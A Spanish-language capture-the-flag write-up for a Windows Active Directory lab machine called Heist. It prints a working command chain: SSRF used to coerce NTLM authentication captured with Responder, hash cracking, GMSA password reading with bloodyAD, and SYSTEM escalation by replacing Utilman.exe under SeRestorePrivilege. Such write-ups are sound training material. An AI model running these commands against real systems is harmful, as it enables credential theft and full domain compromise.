Heist

Detalles
- Sistema Operativo: Windows
- Dificultad: Hard
- IP Address: 192.168.146.165
- Autor: AETH3RON
Resumen
Heist es una máquina Windows que implica explotar una aplicación web para obtener acceso inicial mediante Server-Side Request Forgery (SSRF) y captura de hash NTLM. El movimiento lateral se logra enumerando permisos de Active Directory, específicamente aprovechando la capacidad de leer contraseñas de Group Managed Service Account (GMSA). La escalada a SYSTEM se logra abusando de SeRestorePrivilege para secuestrar el binario Utilman.
Enumeración
Nmap
Comenzamos realizando un escaneo SYN para identificar los puertos abiertos.
nmap -Pn -sS -sV -p- 192.168.146.165 -oN nmap-basic

Realizamos un escaneo más detallado sobre los puertos descubiertos.
nmap -Pn -sS -sC -p80,88,135,139,389,445,464,593,636,3268,3269,5985,8080 192.168.146.165 -oN nmap-common

Enumeración Web
Investigamos el servidor web en el puerto 8080, donde vemos una interfaz de búsqueda de tickets de soporte.

Iniciamos un servidor Python HTTP y enviamos nuestra IP en la barra de búsqueda. La aplicación envía una petición a nuestro listener, confirmando la vulnerabilidad SSRF.


Acceso Inicial
Para aprovechar la SSRF para captura de credenciales, utilizamos Responder escuchando en nuestra interfaz tun0.
responder -I tun0 -v

Al disparar la SSRF apuntando a nuestra IP, el servidor intenta autenticarse contra nuestro servidor SMB rogue, capturando el hash NTLMv2 para el usuario enox.

Usamos hashcat con rockyou.txt para crackear el hash. La contraseña: california.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Establecemos shell con evil-winrm.
evil-winrm -i 192.168.146.165 -u enox -p california

Ruta Alternativa con Enumeración de Usuarios
También es posible identificar usuarios válidos del dominio con kerbrute y realizar brute-force de contraseña.
kerbrute userenum -d heist.offsec --dc 192.168.146.165 /usr/share/wordlists/SecLists/Usernames/...

Una vez confirmado el usuario Enox, es posible realizar brute-force de contraseña.

⚠️ Nota: Este método lleva un alto riesgo de bloqueo de cuenta en entornos reales.
Movimiento Lateral
Subimos SharpHound y recolectamos datos del dominio.
.\SharpHound.exe -c All --zipfilename loot.zip

BloodHound revela que el usuario Enox puede leer el atributo msDS-ManagedPassword de la GMSA svc_apache$.

Usamos bloodyAD para recuperar el hash NTLM de la cuenta GMSA.
bloodyAD --host 192.168.146.165 -d heist.offsec -u enox -p california get object 'svc_apache$' --attr msDS-ManagedPassword

Autenticamos como svc_apache$ con evil-winrm usando el hash NTLM.
evil-winrm -i 192.168.146.165 -u 'svc_apache$' -H <NTLM_HASH>

Escalada de Privilegios
Como svc_apache$, identificamos SeRestorePrivilege.
whoami /priv

Este privilegio permite modificar cualquier archivo del sistema independientemente de las ACLs. Lo abusamos reemplazando el binario de Accesibilidad (Utilman.exe) con cmd.exe.
cmd /c rename C:\Windows\System32\Utilman.exe Utilman.bak
cmd /c copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

Con el binario reemplazado, iniciamos una conexión RDP al objetivo.
xfreerdp3 /u:enox /p:california /v:192.168.146.165

En la pantalla de login, activamos el botón “Ease of Access” (Windows Key + U). Como reemplazamos el binario, esto ejecuta cmd.exe con privilegios de SYSTEM.

Impacto de Negocio
Esta cadena de ataque expone debilidades críticas en la seguridad de aplicaciones web y la gestión de cuentas de servicio de Active Directory. La vulnerabilidad SSRF inicial permite a un atacante forzar la autenticación NTLM de servicios internos, eludiendo por completo las defensas perimetrales. El posterior abuso de permisos de lectura de contraseñas de Group Managed Service Accounts (GMSA) demuestra cómo las delegaciones excesivamente permisivas en AD pueden otorgar acceso a cuentas de servicio altamente privilegiadas. La explotación final de SeRestorePrivilege — que permite escrituras arbitrarias de archivos incluyendo binarios del sistema — ilustra cómo una única cuenta de servicio comprometida puede llevar al compromiso total del controlador de dominio, amenazando la integridad de toda la autenticación y autorización dentro de la organización.
Referencias
- BloodHound:
- bloodyAD:
- SeRestorePrivilege Abuse:
- Group Managed Service Accounts (Microsoft):
- SeRestorePrivilege Abuse (Andrea Pierini):